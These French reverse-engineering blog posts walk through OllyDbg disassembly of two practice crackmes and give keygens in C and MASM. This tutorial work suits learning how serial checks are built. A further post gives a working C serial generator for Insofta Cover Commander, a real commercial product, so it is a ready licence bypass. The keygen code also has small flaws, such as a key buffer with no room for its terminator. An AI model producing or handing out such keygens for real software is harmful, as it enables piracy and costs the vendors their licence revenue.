    0040111C   |&gt;  6A 40                PUSH 40                      ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
    0040111E   |.  68 49214000          PUSH 00402149                ; |Title = "About"
    00401123   |.  68 4F214000          PUSH 0040214F                ; |Text = "Progressive KeygenMe #1",LF,CR,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,"",AF,&gt;
    00401128   |.  FF75 08              PUSH DWORD PTR [EBP+8]       ; |hOwner
    0040112B   |.  FF15 C6304000        CALL [&lt;&amp;USER32.MessageBoxA&gt;] ; \MessageBoxA

    En analysant un peu, on se rend compte que le gros de l’algorithme de génération du serial tient en 11 lignes de code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    0040106B   |.  83F8 05              CMP EAX,5
    0040106E   |.  72 7E                JB SHORT 004010EE
    00401070   |.  83F8 14              CMP EAX,14
    00401073   |.  0F87 8C000000        JA 00401105
    00401079   |.  89C1                 MOV ECX,EAX
    0040107B   |.  8D35 00204000        LEA ESI,[402000]
    00401081   |.  31DB                 XOR EBX,EBX
    00401083   |&gt;  0FB606               /MOVZX EAX,BYTE PTR [ESI]
    00401086   |.  01C3                 |ADD EBX,EAX
    00401088   |.  46                   |INC ESI
    00401089   |.^ E2 F8                \LOOPD SHORT 00401083

    Les 4 premières lignes contrôlent le nombre de caractères du « Name », nombre stocké dans le registre EAX.
    Si EAX < 5 (donc 5 en décimal), on saute vers l’instruction qui affiche un message d’erreur. Si EAX > 14 (donc 20 en décimal), on saute vers l’instruction qui affiche un autre message d’erreur.

    La 5ème instruction place le contenue du registre EAX dans ECX.

    La 6ème place dans ESI un pointeur vers l’adresse où est stocké « Name » (402000)

    La 7ème instruction remet à 0 le registre EBX.

    Les 4 dernières instructions forment une boucle qui pourrait se traduire ligne par ligne par:

    Placer l'octet vers lequel pointe ESI dans EAX (implicitement: Tant que celà est possible, la boucle se termine à la fin de la chaine de caractères.)
         EBX = EBX + EAX // Ajouter à EBX la valeur de EBX
         Incrémenter i
    Retourner au début

    La suite du code se contente de comparer la valeur obtenue par traitement du Name avec le sérial donné, et de nous rediriger en fonction du résultat de cette comparaison.

    Donc après réflexion, l’algo n’est pas si compliqué que ça: il se contente d’additioner les valeurs décimales de chaque caractères du « Name ».

    Voici un petit KeyGen que j’ai codé en C:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #include <stdio.h>
    #include <stdlib.h>

    int main()
    {
    char name[20];
    printf("Name: ");
    scanf("%s", name);

    int somme = 0;
    int i = 0;

    while(name[i] != '\0')
    {
    somme = somme + name[i];
    i++;
    }

    printf("Le Serial est: %d", somme);
    system("PAUSE");
    return 0;
    }

    Et voici l’utilisation :

    

    Et donc :

    

    Et voilà, cet article est fini 😀 J’espère qu’il vous aura aidé.

    Si vous avez la moindre question, n’hésitez pas à poster des commentaires !

    Publié dans Keygen | 2 commentaires

    Keygenning 4 newbies CrackMe ~ coded by The Analyst

    Je m’attaque dans cet article à un CrackMe de niveau fastidieux « for newbies ».

    Pour download le KeygenMe : https://www.re-xe.com/wp-content/uploads/2010/11/The_Analyst_k4n1.zip

    On ne perd pas de temps, on y va, on lance le binaire.

    On obtient la chose suivante :

    On analyse ensuite le binaire à coup de PEiD, ça m’étonnerait qu’on l’ai packé, étant donné qu’il est d’un niveau relativement facile.
    On obtient la chose suivante :

    Parfait, pas de packer en vue. Mais peut-être qu’on aura le droit à de la jolie crypto ? On utilise le plugin Kanal de PEiD, voici ce que l’on obtient :

    Super, pas de crypto en vue ! On peut maintenant passer à l’analyse du binaire !

    On tente un name & un serial au hasard :

    W00t, This serial is *NOT* valid!

    Allez op ! On ouvre notre binaire depuis Ollydbg.

    Une fois votre binaire ouvert, tentez de checker les BadBoy & GoodBoy. Pour ce faire, nous allons lister les strings.

    Cliquez droit dans ollydbg, puis allez dans ‘Ultra String Reference’ –> ‘1 Find Ascii’. On obtient ceci :


    On aperçoit notre GoodBoy, et notre BadBoy :

    Goob Boy : ‘Congratulation! IF this number comes *FROM YOUR* keygen …’
    Bad Boy : ‘This serial is *NOT* Valid!! Try again… : UNREGISTRED’
    On aperçoit aussi : %1X, ceci sert à formater notre string entrée.


    Double cliquez sur le GoodBoy, ce qui vous renverra à son adresse (00401157) dans Ollydbg.
    On obtient le code ci-dessous :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    00401157   |.>PUSH 0040B43C                                                   ; /Text = « Congratulations! IF this number comes *FROM YOUR* keygen, Write a tutorial dude  . »
    0040115C   |.>PUSH ESI                                                        ; |hWnd
    0040115D   |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA              // G00d Boy
    00401162   |.>JMP SHORT 0040117C00401164   |>>PUSH 0040B490                   ; /Text = « This serial is *NOT* Valid!! Try again… : UNREGISTERED »
    00401169   |.>PUSH ESI                                                        ; |hWnd
    0040116A   |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA              // Bad Boy
    0040116F   |.>JMP SHORT 0040117C00401171   |>>PUSH 0040B4C9                   ; /Text = « Name must contain more than 4 chars and less than 50 chars !! »
    00401176   |.>PUSH ESI                                                        ; |hWnd
    00401177   |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA              // Bad Boy


    Très bien.


    On s’intéresse ensuite à cette ligne (située juste au dessus) :

    1
    004010AE  |.  E8 FB9B0000   CALL &lt;JMP.&USER32.GetWindowTextA&gt;        ; \GetWindowTextA


    Ici GetWindowtext sert à récupérer les valeurs du champ name.


    Ensuite, nous avons :

    1
    2
    3
    4
    5
    00401129   |.  FF75 C8              PUSH DWORD PTR [EBP-38]             ; /Arg3
    0040112C   |.  68 38B44000          PUSH 0040B438                       ; |%lX
    00401131   |.  8D8D 80FEFFFF        LEA ECX,[EBP-180]                   ; |
    00401137   |.  51                   PUSH ECX                            ; |Arg1
    00401138   |.  E8 873D0000          CALL 00404EC4                       ; \k4n.00404EC4


    Ceci ressemble fortement à une fonction qui va formater notre string. Ce qui nous l’indique c’est le ‘ASCII « %lX »‘.


    On descend encore un peu et on tombe sur :

    1
    0040114E  |.  E8 339C0000   CALL <JMP.&amp;KERNEL32.lstrcmpA>            ; \lstrcmpA


    lstrcmp s’occupe de comparer les chaines entrées juste avant d’afficher le BadBoy ou GoodBoy. On peut facilement en déduire que la routine de génération du serial est dans le coin ! Yes on s’en rapproche …
    Le fait que’on ai une boucle juste avant, et que le résultat de celle-ci soit passé en argument à la fonction de formatage indique qu’on est tout proche de la routine !


    On remonte un peu plus haut, et on trouve :

    1
    2
    00401102  |.  837D D8 32    CMP DWORD PTR SS:[EBP-28],32
    00401106  |.  7D 69         JGE SHORT k4n.00401171


    Ici le programme vérifie la taille du name entré : si il est supérieur ou égal à 50d. (c’est à dire 50 chars). Si on entre un name supérieur à 50 chars, le programme nous enverra directement vers un BadBoy.
    Vous pouvez en avoir le cœur net maintenant ! On est sûr et certain que la routine est située entre les vérifications de la taille de la string entrée en name et son formatage. C’est à dire de :

    1
    0040110C   |> /0FBE840D 48FFFFFF    /MOVSX EAX,BYTE PTR [EBP+ECX-B8]


    À :

    1
    00401124   |.  03C3                 ADD EAX,EBX

    On ne prendra pas :

    1
    00401126   |.  8945 C8              MOV [EBP-38],EAX


    Car cette ligne ne fait que sauvegarder eax dans la pile. La valeur de eax ne changera donc plus.


    La routine correspond donc à ceci (lignes grisées) :


    On se procure cette routinz & on code notre keygen !!
    Quelques commentaires à propos de la routine :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    MOV AL,BYTE PTR [ecx+NameBuffer]       ; Met dans AL chaque char du name un par un à chaque fois que ça boucle ( car ECX est incrémenté ligne suivante ).
    INC ECX                                ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
    XOR EAX,ECX                            
    ADD EBX,EAX                            ; Additionne eax à ebx. eax contenant les chars du name.
    CMP ECX,DWORD PTR [LenName]            ; Compare le nombre de chars du compteur au nombre de chars du name.
    jne @B                                 ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
    IMUL EAX,EAX,6                         ; Multiplie le char pécédemment xoré par 6.
    SHL EBX,7                              ; Multiplie ebx par 2^7.
    ADD EAX,EBX                            ; Additionne eax à ebx.

    Lors de cette opération : ADD EAX,EBX
    On a :
    – eax qui est la valeur hexadécimale du dernier char multiplié par 6.
    – ebx : la somme de tous les chars xorés, multipliés par 2^7.

    Je vous laisse cogiter …

    Keygen.asm :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    .386
    .model flat,stdcall
    option casemap:none

    ; Include sur les librairies utilisées :
    include Keygen.inc


    ; Les variables déclarées :
    .data

    Format                         db       "%X",0
    Message                        db       "Entrez moins de caractères !",0
    MessageShort                   db       "Entrez plus de caractères !",0
    WinTitle                       db       "First Keygen By int_0x80",0

    ; Les variables non déclarées :
    .data?

    hInstance                      HINSTANCE       ?
    NameBuffer                     db       50 dup(?)
    SerialBuffer                   db       50 dup(?)
    LenName                        db       50 dup(?)

    .code

    start:

        invoke GetModuleHandle, NULL
        mov hInstance, eax
        AllowSingleInstance addr WinTitle          
        ; Cette macro limite le programme à une instance.

        invoke DialogBoxParam, hInstance, IDD_KEYGEN, NULL, addr DlgProc, NULL
        invoke ExitProcess, eax

       
    ; Début des procédures du dialogue :
    DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM  ; http://msdn.microsoft.com/en-us/library/ms645469(VS.85).aspx

    .if uMsg == WM_INITDIALOG                  
        invoke  LoadIcon,hInstance,MyIcon          
        invoke  SendMessage,hWnd,WM_SETICON,1,eax
        invoke  GetDlgItem,hWnd,IDC_NAME
        invoke  SetFocus, eax      
        invoke  uFMOD_PlaySong, IDM_MUSIK, 0, XM_RESOURCE        ; Play SFX :)
       
    .elseif uMsg == WM_COMMAND
            mov eax,wParam
           
    .if eax == IDC_GENERATE
        invoke GetDlgItemText,hWnd,IDC_NAME,addr NameBuffer,sizeof NameBuffer
        CALL Generate
        invoke SetDlgItemText,hWnd,IDC_SERIAL,addr SerialBuffer
       
    .elseif eax == IDC_COPY
        invoke SendDlgItemMessage,hWnd,IDC_SERIAL,EM_SETSEL,0,-1
        invoke SendDlgItemMessage,hWnd,IDC_SERIAL,WM_COPY,0,0
       
    .elseif eax == IDC_EXIT
        invoke SendMessage,hWnd,WM_CLOSE,0,0
    .endif

    .elseif uMsg == WM_CLOSE
        invoke EndDialog,hWnd,0
    .endif

            xor eax,eax         ; MOV eax, 0
            xor ecx, ecx        ; MOV ecx, 0
            Ret
           
    DlgProc EndP
    ; Fin de la procédure du dialogue.

    ;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    ; Génération du serial
    Generate proc  hWnd:HWND

            invoke lstrlen,addr NameBuffer
            mov dword ptr [LenName], eax           ; Stockage de eax dans LenName .
            cmp eax, 04h                           ; On compare la taille à 4d.
            jl NoInput                             ; On saute si inférieur, le je saute si c'est égal.
            cmp eax, 32h                           ; Puis on la compare à 50d (50 chars max).
            ja Erreur                              ; On saute vers le label appelé 'erreur' si supérieur.
            xor eax, eax                           ; MOV eax, 0
            xor ebx, ebx                           ; MOV ebx, 0
            xor ecx, ecx                           ; MOV ecx, 0
            xor edx, edx                           ; MOV edx, 0

    ; Routine
    @@:
            MOV AL,BYTE PTR [ecx+NameBuffer]       ; Met dans AL chaque char du name un par un à chaque fois que ça boucle ( car ECX est incrémenté ligne suivante ).
            INC ECX                                ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
            XOR EAX,ECX                            
            ADD EBX,EAX                            ; Additionne eax à ebx. eax contenant les chars du name.
            CMP ECX,DWORD PTR [LenName]            ; Compare le nombre de chars du compteur au nombre de chars du name.
            jne @B                                 ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
            IMUL EAX,EAX,6                         ; Multiplie le char pécédemment xoré par 6.
            SHL EBX,7                              ; Multiplie ebx par 2^7.
            ADD EAX,EBX                            ; Additionne eax à ebx.
    ; Fin de la routine.


    ; Conversion du sérial :
        invoke wsprintf,addr SerialBuffer,addr Format,eax    ; wsprintf --> http://msdn.microsoft.com/en-us/library/aa450993.aspx      
            Ret
    ; Fin de la procédure de génération du serial.

    ; On arrive ici si il n'y a pas de nom entré :
    NoInput:
        invoke SetDlgItemText,hWnd,IDC_SERIAL, addr MessageShort
            Ret

    ; On arrive ici si le nom fait plus de 20 caractères :
    Erreur :
        invoke SetDlgItemText,hWnd,IDC_SERIAL, addr Message
            Ret

    ;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    Generate endp

    end start
    ; Fin du programme

    Keygen.inc :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    ; Includes sur les librairies utilisées :
    include MyMacros.asm
    include windows.inc
    include user32.inc
    include kernel32.inc
    include comctl32.inc
    include winmm.inc
    includelib kernel32.lib
    includelib user32.lib
    includelib comctl32.lib
    includelib winmm.lib
    include SFX/ufmod.inc                 ; Pour la musique.
    includelib SFX/ufmod.lib              ; Aussi pour la musique.


    ; Prototype des fonctions :
    DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

    ; Définition des constantes ici :
    IDD_KEYGEN                 equ 1001
    IDC_NAME                   equ 1002
    IDC_SERIAL                 equ 1003
    IDC_GENERATE               equ 1004
    IDC_COPY                   equ 1005
    IDC_EXIT                   equ 1006
    LOGO                       equ 1007
    MyIcon                     equ 1008
    IDM_MUSIK                  equ 1009

    Keygen.rc :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    #define IDD_KEYGEN 1001
    #define IDC_NAME 1002
    #define IDC_SERIAL 1003
    #define IDC_GENERATE 1004
    #define IDC_COPY 1005
    #define IDC_EXIT 1006
    #define LOGO 1007
    #define Serial 1011
    #define Name 1012
    #define MyIcon 1013
    #define IDM_MUSIK 1009

    LOGO BITMAP DISCARDABLE "int_0x800.bmp"
    MyIcon ICON DISCARDABLE "favicon.ico"
    IDM_MUSIK RCDATA DISCARDABLE "SFX/Class cracktro #15.xm"

    IDD_KEYGEN DIALOGEX 0,0,262,215
    CAPTION "First Keygen By int_0x80"
    FONT 8,"MS Sans Serif"
    STYLE 0x10cc0000
    EXSTYLE 0x00000000
    BEGIN
        CONTROL "#1007",LOGO,"Static",0x1080020e,-7,0,277,222,0x00000000
        CONTROL "Your Name",IDC_NAME,"Edit",0x50010080,53,92,191,19,0x00000200
        CONTROL "",IDC_SERIAL,"Edit",0x50010080,53,120,191,19,0x00000200
        CONTROL "Generate",IDC_GENERATE,"Button",0x50010000,17,166,51,16,0x00000000
        CONTROL "Serial:",Serial,"Static",0x50000001,7,123,37,13,0x00000000
        CONTROL "Name:",Name,"Static",0x10000001,7,95,37,13,0x00000000
        CONTROL "Exit",IDC_EXIT,"Button",0x50010000,190,166,51,16,0x00000000
        CONTROL "Copy",IDC_COPY,"Button",0x50010000,103,166,51,16,0x00000000
    END

    MyMacros.asm :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    AllowSingleInstance MACRO lpTitle
            invoke FindWindow,NULL,lpTitle
            cmp eax, 0
            je @F
              push eax
              invoke ShowWindow,eax,SW_RESTORE
              pop eax
              invoke SetForegroundWindow,eax
              mov eax, 0
              ret
            @@:
          ENDM

    Voici à quoi ressemble le miens :

    J’ai entré ‘int0x80’ en name, et j’ai cliqué sur Generate. Le serial que l’on me propose est : ‘139CA’.
    Retournons vers notre KeygenMe & essayons le serial …

    W00t ! KeygenMe Keygenné ! Bien joué ! Si vous galérez pour coder votre keygen, n’hésitez pas à jeter un œil au miens que voici :
    (exécutable + sources) —> https://www.re-xe.com/wp-content/uploads/2010/11/KeyGen.zip

    Have fun et bon courage pour la suite ! Greetz to Horgh pour m’avoir aidé à coder ce Keygen !

    Publié dans Keygen | Marqué avec | Un commentaire

    Keygen for PapaBango

    Hello, je vous propose de regarder une vidéo réalisée par PapaBango qui démontre comment trouver le serial décomposé dans une routine :

    https://www.re-xe.com/wp-content/uploads/2010/11/In_s_o_ft_a_C_o-v_e_rCo.swf.zip

    Après avoir visionné cette vidéo, l’envie de coder le keygen me prit tout à coup.

    L’algo est super simple :

    • Le serial généré doit faire 41 caractères.
    • Le premier caractère doit être aléatoire.
    • Le deuxième caractère doit être un ‘Z’.
    • Le troisième caractère doit être un ‘3’.
    • Les 31 caractères qui suivent doivent être aléatoires.
    • Les 7 caractères en fin de string doivent être : ‘-EEFJKJ’.

    Je vous paste ci-dessous le code. Vous remarquerez que je ne l’ai pas commenté du fait qu’il soit relativement simple. Vous n’aurez donc aucun mal à le lire et à le comprendre. Pour toute question, n’hésitez pas : Contactez-moi.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <time.h>

    int main(void)
    {
        char nick[30];
        char key[41];
        char endkey[] = "-EEFJKJ";
        char c;
        int i;
       
        srand(time(NULL));
        c = (rand() % (90 - 65 + 1)) + 65;
       
           printf (
              "#######################################################################################\n"
              "###################### Keygen by int_0x80 & lechienkitu © 2010 ########################\n"
              "############## For Insofta Cover Commander cracked by PapaBango #######################\n"
              "########## Tuto Vidéo : comment trouver le serial décomposé dans une routine ##########\n"
              "#######################################################################################\n\n\n"
             );
            printf ("Enter your name : ");
        fgets(nick, 30, stdin);

        memset (key, 0, sizeof (key));
        key[0] = c;
        key[1] = 'Z';
        key[2] = '3';
       
        for(i=3;i<=33;i++)
             key[i] = (rand() % (90 - 65 + 1)) + 65;
        strcat(key, endkey);   
        printf("Serial : %s\n\nPress enter to exit ...",key);
            getchar();
       
        return 0;
    }

    PS : Merci à lechienkitu pour le coup de mains.

    Publié dans Keygen | Marqué avec , | Laisser un commentaire

    Hello

    Hello !
    C’est après un long moment de réflexion ( une minute ) que Ryscrow, int_0x80 & Horgh ont décidé d’ouvrir quelque chose qui ressemble à un blog.
    Hé oui! En vue de faire évoluer nos connaissances en RE, nous vous proposons ce blog (très chic je l’avoue).
    C’est ici que nous publierons nos trouvailles faramineuses ainsi que nos bouts de codes qui envoient du pâté (ou pas).
    Bienvenue à vous, en espérant que nos récits vous passionnent.
    Publié dans Non classé | Laisser un commentaire